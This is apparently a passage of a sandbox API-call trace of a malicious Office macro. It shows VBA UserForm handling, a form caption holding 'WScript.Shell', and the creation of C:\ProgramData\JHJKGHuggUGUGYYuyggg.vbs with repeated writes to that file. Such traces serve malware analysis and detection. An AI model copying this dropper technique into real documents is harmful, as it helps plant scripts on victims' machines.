riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2764b8e9708) returned 0x3 [0123.069] IUnknown:AddRef (This=0x2764b533098) returned 0x3 [0123.069] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.069] IUnknown:QueryInterface (in: This=0x2764b533098, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.069] IUnknown:Release (This=0x2764b533098) returned 0x2 [0123.069] free (_Block=0x0) [0123.069] free (_Block=0x0) [0123.069] free (_Block=0x0) [0123.069] free (_Block=0x0) [0123.069] free (_Block=0x0) [0123.070] free (_Block=0x0) [0123.070] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0123.070] free (_Block=0x0) [0123.070] free (_Block=0x0) [0123.070] free (_Block=0x0) [0123.070] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0123.070] free (_Block=0x0) [0123.070] free (_Block=0x0) [0123.070] free (_Block=0x0) [0123.070] IUnknown:AddRef (This=0x2764af38878) returned 0x6 [0123.070] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc8 | out: ppvObject=0xb5690f4dc8*=0x0) returned 0x80004002 [0123.070] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc0 | out: ppvObject=0xb5690f4dc0*=0x0) returned 0x80004002 [0123.070] IUnknown:Release (This=0x2764af38878) returned 0x5 [0123.070] IUnknown:AddRef (This=0x2764af38928) returned 0x7 [0123.070] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc8 | out: ppvObject=0xb5690f4dc8*=0x0) returned 0x80004002 [0123.070] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc0 | out: ppvObject=0xb5690f4dc0*=0x0) returned 0x80004002 [0123.070] IUnknown:Release (This=0x2764af38928) returned 0x6 [0123.070] IUnknown:AddRef (This=0x2764af387c8) returned 0x2 [0123.070] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc8 | out: ppvObject=0xb5690f4dc8*=0x0) returned 0x80004002 [0123.070] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4dc0 | out: ppvObject=0xb5690f4dc0*=0x0) returned 0x80004002 [0123.070] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0123.070] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0b100 [0123.070] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0b100) returned 0x8 [0123.070] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x78) returned 0x2764bb209c0 [0123.070] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb209c0) returned 0x78 [0123.071] IUnknown:AddRef (This=0x2764af38928) returned 0x7 [0123.071] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ea8 | out: ppvObject=0xb5690f4ea8*=0x0) returned 0x80004002 [0123.071] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ea0 | out: ppvObject=0xb5690f4ea0*=0x0) returned 0x80004002 [0123.071] IUnknown:Release (This=0x2764af38928) returned 0x6 [0123.071] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0b1f0 [0123.071] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0b1f0) returned 0x8 [0123.071] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x78) returned 0x2764bb21d40 [0123.071] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb21d40) returned 0x78 [0123.071] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0b2c0 [0123.071] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0b2c0) returned 0x8 [0123.071] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x78) returned 0x2764bb21f40 [0123.071] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb21f40) returned 0x78 [0123.071] IUnknown:AddRef (This=0x2764af38878) returned 0x6 [0123.071] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f88 | out: ppvObject=0xb5690f4f88*=0x0) returned 0x80004002 [0123.071] IUnknown:QueryInterface (in: This=0x2764af38878, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4f80 | out: ppvObject=0xb5690f4f80*=0x0) returned 0x80004002 [0123.071] IUnknown:Release (This=0x2764af38878) returned 0x5 [0123.072] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.072] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa7f80 [0123.072] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa7f80) returned 0x80 [0123.072] UserForm:IClassFactory:CreateInstance (in: This=0x7ff9bd211f48, pUnkOuter=0x2764afa7fb8, riid=0x7ff9be1be8c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4ec0 | out: ppvObject=0xb5690f4ec0*=0x2764b9b1700) returned 0x0 [0123.072] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0123.072] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0123.072] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2764afa7fa0 | out: ppvObject=0x2764afa7fa0*=0x2764b9b1788) returned 0x0 [0123.072] lstrcpyA (in: lpString1=0xb5690f4482, lpString2="JDSUAGDFYYUGED" | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0123.073] malloc (_Size=0x168) returned 0x276527ca3b0 [0123.073] malloc (_Size=0x20) returned 0x276499787b0 [0123.073] GlobalLock (hMem=0x276445301b8) returned 0x276529e0920 [0123.073] GlobalSize (hMem=0x276445301b8) returned 0x200 [0123.073] malloc (_Size=0x1000) returned 0x276527c62e0 [0123.073] malloc (_Size=0xfe0) returned 0x276527c72f0 [0123.073] lstrcmpiA (lpString1="VERSION", lpString2="VERSION") returned 0 [0123.073] lstrcmpiA (lpString1="Begin", lpString2="Begin") returned 0 [0123.073] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f4358 | out: pclsid=0xb5690f4358*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0123.073] malloc (_Size=0xfa0) returned 0x276527c82e0 [0123.073] lstrcpynA (in: lpString1=0xb5690f3b00, lpString2="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", iMaxLength=2044 | out: lpString1="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}") returned="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}" [0123.073] lstrcpynA (in: lpString1=0xb5690f3300, lpString2="JDSUAGDFYYUGED", iMaxLength=2044 | out: lpString1="JDSUAGDFYYUGED") returned="JDSUAGDFYYUGED" [0123.073] CLSIDFromString (in: lpsz="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", pclsid=0xb5690f3230 | out: pclsid=0xb5690f3230*(Data1=0xc62a69f0, Data2=0x16dc, Data3=0x11ce, Data4=([0]=0x9e, [1]=0x98, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x57, [6]=0x4a, [7]=0x4f))) returned 0x0 [0123.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", cchWideChar=-1, lpMultiByteStr=0xb5690f2d90, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C62A69F0-16DC-11CE-9E98-00AA00574A4F}", lpUsedDefaultChar=0x0) returned 0 [0123.074] lstrlenA (lpString="JDSUAGDFYYUGED") returned 14 [0123.074] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0123.074] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 2 [0123.074] malloc (_Size=0x105) returned 0x276527c9290 [0123.074] lstrcmpiA (lpString1="Begin", lpString2="Caption") returned -1 [0123.074] lstrcmpiA (lpString1="End", lpString2="Caption") returned 1 [0123.074] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="Caption", iMaxLength=261 | out: lpString1="Caption") returned="Caption" [0123.074] malloc (_Size=0x11) returned 0x27649976fc0 [0123.074] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Caption") returned 0x407810 [0123.075] lstrcmpiA (lpString1="Begin", lpString2="ClientHeight") returned -1 [0123.075] lstrcmpiA (lpString1="End", lpString2="ClientHeight") returned 1 [0123.075] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="ClientHeight", iMaxLength=261 | out: lpString1="ClientHeight") returned="ClientHeight" [0123.075] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientHeight") returned 0x407da9 [0123.075] lstrcpynA (in: lpString1=0x276527c9290, lpString2="10245", iMaxLength=261 | out: lpString1="10245") returned="10245" [0123.075] lstrlenA (lpString="10245") returned 5 [0123.075] malloc (_Size=0x6) returned 0x2764997b240 [0123.075] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10245", cchSrc=-1, lpDestStr=0x2764997b240, cchDest=6 | out: lpDestStr="10245") returned 6 [0123.075] atof (_String="10245") returned 0x27649970840 [0123.075] free (_Block=0x2764997b240) [0123.075] lstrcmpiA (lpString1="Begin", lpString2="ClientLeft") returned -1 [0123.075] lstrcmpiA (lpString1="End", lpString2="ClientLeft") returned 1 [0123.075] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="ClientLeft", iMaxLength=261 | out: lpString1="ClientLeft") returned="ClientLeft" [0123.075] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientLeft") returned 0x404925 [0123.075] lstrcpynA (in: lpString1=0x276527c9290, lpString2="45", iMaxLength=261 | out: lpString1="45") returned="45" [0123.075] lstrlenA (lpString="45") returned 2 [0123.075] malloc (_Size=0x3) returned 0x2764997b200 [0123.075] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="45", cchSrc=-1, lpDestStr=0x2764997b200, cchDest=3 | out: lpDestStr="45") returned 3 [0123.075] atof (_String="45") returned 0x27649970840 [0123.076] free (_Block=0x2764997b200) [0123.076] lstrcmpiA (lpString1="Begin", lpString2="ClientTop") returned -1 [0123.076] lstrcmpiA (lpString1="End", lpString2="ClientTop") returned 1 [0123.076] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="ClientTop", iMaxLength=261 | out: lpString1="ClientTop") returned="ClientTop" [0123.076] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientTop") returned 0x409869 [0123.076] lstrcpynA (in: lpString1=0x276527c9290, lpString2="390", iMaxLength=261 | out: lpString1="390") returned="390" [0123.076] lstrlenA (lpString="390") returned 3 [0123.076] malloc (_Size=0x4) returned 0x2764997b250 [0123.076] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="390", cchSrc=-1, lpDestStr=0x2764997b250, cchDest=4 | out: lpDestStr="390") returned 4 [0123.076] atof (_String="390") returned 0x27649970840 [0123.076] free (_Block=0x2764997b250) [0123.076] lstrcmpiA (lpString1="Begin", lpString2="ClientWidth") returned -1 [0123.076] lstrcmpiA (lpString1="End", lpString2="ClientWidth") returned 1 [0123.076] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="ClientWidth", iMaxLength=261 | out: lpString1="ClientWidth") returned="ClientWidth" [0123.076] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="ClientWidth") returned 0x4028e4 [0123.076] lstrcpynA (in: lpString1=0x276527c9290, lpString2="10095", iMaxLength=261 | out: lpString1="10095") returned="10095" [0123.076] lstrlenA (lpString="10095") returned 5 [0123.076] malloc (_Size=0x6) returned 0x2764997b250 [0123.076] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="10095", cchSrc=-1, lpDestStr=0x2764997b250, cchDest=6 | out: lpDestStr="10095") returned 6 [0123.076] atof (_String="10095") returned 0x27649970840 [0123.077] free (_Block=0x2764997b250) [0123.077] lstrcmpiA (lpString1="Begin", lpString2="StartUpPosition") returned -1 [0123.077] lstrcmpiA (lpString1="End", lpString2="StartUpPosition") returned -1 [0123.077] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="StartUpPosition", iMaxLength=261 | out: lpString1="StartUpPosition") returned="StartUpPosition" [0123.077] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="StartUpPosition") returned 0x40fb67 [0123.077] lstrcpynA (in: lpString1=0x276527c9290, lpString2="1", iMaxLength=261 | out: lpString1="1") returned="1" [0123.077] lstrlenA (lpString="1") returned 1 [0123.077] malloc (_Size=0x2) returned 0x2764997b210 [0123.077] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="1", cchSrc=-1, lpDestStr=0x2764997b210, cchDest=2 | out: lpDestStr="1") returned 2 [0123.077] free (_Block=0x2764997b210) [0123.077] lstrcmpiA (lpString1="Begin", lpString2="Tag") returned -1 [0123.077] lstrcmpiA (lpString1="End", lpString2="Tag") returned -1 [0123.077] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="Tag", iMaxLength=261 | out: lpString1="Tag") returned="Tag" [0123.077] malloc (_Size=0x11) returned 0x27649976ea0 [0123.077] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Tag") returned 0x40d826 [0123.077] free (_Block=0x27649976ea0) [0123.077] lstrcmpiA (lpString1="Begin", lpString2="TypeInfoVer") returned -1 [0123.077] lstrcmpiA (lpString1="End", lpString2="TypeInfoVer") returned -1 [0123.077] lstrcpynA (in: lpString1=0xb5690f3120, lpString2="TypeInfoVer", iMaxLength=261 | out: lpString1="TypeInfoVer") returned="TypeInfoVer" [0123.077] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="TypeInfoVer") returned 0x407334 [0123.077] lstrcpynA (in: lpString1=0x276527c9290, lpString2="15", iMaxLength=261 | out: lpString1="15") returned="15" [0123.077] lstrlenA (lpString="15") returned 2 [0123.077] malloc (_Size=0x3) returned 0x2764997b2e0 [0123.077] LCMapStringA (in: Locale=0x411, dwMapFlags=0x400000, lpSrcStr="15", cchSrc=-1, lpDestStr=0x2764997b2e0, cchDest=3 | out: lpDestStr="15") returned 3 [0123.078] free (_Block=0x2764997b2e0) [0123.078] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0123.078] lstrcmpiA (lpString1="End", lpString2="End") returned 0 [0123.078] free (_Block=0x27649976fc0) [0123.078] SysStringLen (param_1=".vbs") returned 0x4 [0123.078] MonitorFromWindow (hwnd=0x401c0, dwFlags=0x2) returned 0x10001 [0123.078] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0xb5690f2808 | out: lpmi=0xb5690f2808) returned 1 [0123.078] SetThreadDpiAwarenessContext () returned 0x80000011 [0123.078] CreateWindowExA (dwExStyle=0x40001, lpClassName=0xc218, lpWindowName="WScript.Shell", dwStyle=0x80c80080, X=-5, Y=-5, nWidth=689, nHeight=722, hWndParent=0x10320, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x20374 [0123.086] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000224) returned 1 [0123.086] SetThreadDpiAwarenessContext () returned 0x11 [0123.086] free (_Block=0x276527c9290) [0123.086] lstrcmpiA (lpString1="Begin", lpString2="End") returned -1 [0123.086] free (_Block=0x276527c82e0) [0123.086] free (_Block=0x276527c72f0) [0123.086] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0123.086] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0123.088] malloc (_Size=0x68) returned 0x276527c5cb0 [0123.088] malloc (_Size=0x68) returned 0x276527c5e00 [0123.088] malloc (_Size=0x50) returned 0x276527c95b0 [0123.088] lstrlenW (lpString="f") returned 1 [0123.088] malloc (_Size=0x4) returned 0x2764997b300 [0123.088] malloc (_Size=0x50) returned 0x276527ca7e0 [0123.088] lstrlenW (lpString="f") returned 1 [0123.088] malloc (_Size=0x4) returned 0x2764997b240 [0123.089] malloc (_Size=0x50) returned 0x276527ca840 [0123.089] lstrlenW (lpString="o") returned 1 [0123.089] malloc (_Size=0x4) returned 0x2764997b220 [0123.089] malloc (_Size=0x50) returned 0x276527ca8a0 [0123.089] lstrlenW (lpString="o") returned 1 [0123.089] malloc (_Size=0x4) returned 0x2764997b320 [0123.089] CFont::QueryInterface () returned 0x0 [0123.124] free (_Block=0x2764997b300) [0123.124] free (_Block=0x276527c95b0) [0123.124] free (_Block=0x2764997b240) [0123.124] free (_Block=0x276527ca7e0) [0123.124] free (_Block=0x2764997b220) [0123.124] free (_Block=0x276527ca840) [0123.124] free (_Block=0x2764997b320) [0123.125] free (_Block=0x276527ca8a0) [0123.125] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4350 | out: ppvObject=0xb5690f4350*=0x2764b9b1788) returned 0x0 [0123.126] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1bb860*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4350 | out: ppvObject=0xb5690f4350*=0x2764b9b1788) returned 0x0 [0123.126] GetWindowLongA (hWnd=0x20374, nIndex=-20) returned 262401 [0123.126] SetWindowLongA (hWnd=0x20374, nIndex=-20, dwNewLong=262401) returned 262401 [0123.130] free (_Block=0x276527c62e0) [0123.131] GlobalHandle (pMem=0x276529e0920) returned 0x276445301b8 [0123.131] GlobalUnlock (hMem=0x276445301b8) returned 0 [0123.131] free (_Block=0x276499787b0) [0123.131] free (_Block=0x276527ca3b0) [0123.131] UserForm:IUnknown:AddRef (This=0x2764b9b1700) returned 0x0 [0123.131] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1cf270*(Data1=0x468cfb80, Data2=0xb4f9, Data3=0x11cf, Data4=([0]=0x80, [1]=0xdd, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x61, [6]=0x48, [7]=0x95)), ppvObject=0xb5690f4df0 | out: ppvObject=0xb5690f4df0*=0x2764b7f0a60) returned 0x0 [0123.131] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0123.132] UserForm:IUnknown:QueryInterface (in: This=0x2764b9b1700, riid=0x7ff9be1be8a0*(Data1=0xf27be360, Data2=0x1b98, Data3=0x11cf, Data4=([0]=0x84, [1]=0xfc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa7, [6]=0x1d, [7]=0xcb)), ppvObject=0xb5690f4e38 | out: ppvObject=0xb5690f4e38*=0x0) returned 0x80004002 [0123.132] UserForm:IUnknown:Release (This=0x2764b9b1700) returned 0x0 [0123.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0123.132] SysStringLen (param_1=".vbs") returned 0x4 [0123.132] VarBstrCat (in: bstrLeft="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg", bstrRight=".vbs", pbstrResult=0xb5690f5320 | out: pbstrResult=0xb5690f5320) returned 0x0 [0123.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", cchWideChar=-1, lpMultiByteStr=0xb5690f5020, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", lpUsedDefaultChar=0x0) returned 40 [0123.132] _fullpath (in: _FullPath=0xb5690f51b0, _Path="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", _SizeInBytes=0x104 | out: _FullPath="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs") returned="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" [0123.132] _sopen_s (in: _FileHandle=0xb5690f5160, _FileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" (normalized: "c:\\programdata\\jhjkghuggugugyyuyggg.vbs"), _OpenFlag=33026, _ShareFlag=64, _PermissionMode=384 | out: _FileHandle=0xb5690f5160*=3) returned 0x0 [0123.142] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x64) returned 0x2764ba24850 [0123.142] strcpy_s (in: _Dst=0x2764ba24889, _DstSize=0x28, _Src="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs" | out: _Dst="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs") returned 0x0 [0123.142] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b699be0 [0123.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b699be0, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.142] _write (in: _FileHandle=3, _Buf=0x2764b699be0*, _MaxCharCount=0x9a | out: _Buf=0x2764b699be0*) returned 154 [0123.145] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b699be0) [0123.145] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b698f60 [0123.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b698f60, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.145] _write (in: _FileHandle=3, _Buf=0x2764b698f60*, _MaxCharCount=0x9a | out: _Buf=0x2764b698f60*) returned 154 [0123.146] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b698f60) [0123.146] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b697160 [0123.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b697160, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. ", lpUsedDefaultChar=0x0) returned 154 [0123.146] _write (in: _FileHandle=3, _Buf=0x2764b697160*, _MaxCharCount=0x9a | out: _Buf=0x2764b697160*) returned 154 [0123.146] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b697160) [0123.146] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b697020 [0123.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b697020, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.146] _write (in: _FileHandle=3, _Buf=0x2764b697020*, _MaxCharCount=0x9a | out: _Buf=0x2764b697020*) returned 154 [0123.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b697020) [0123.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b69b760 [0123.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b69b760, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.147] _write (in: _FileHandle=3, _Buf=0x2764b69b760*, _MaxCharCount=0x9a | out: _Buf=0x2764b69b760*) returned 154 [0123.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b69b760) [0123.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b697a20 [0123.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b697a20, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.147] _write (in: _FileHandle=3, _Buf=0x2764b697a20*, _MaxCharCount=0x9a | out: _Buf=0x2764b697a20*) returned 154 [0123.147] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b697a20) [0123.147] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b6996e0 [0123.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b6996e0, cbMultiByte=308, lpDefaultChar=0x0, 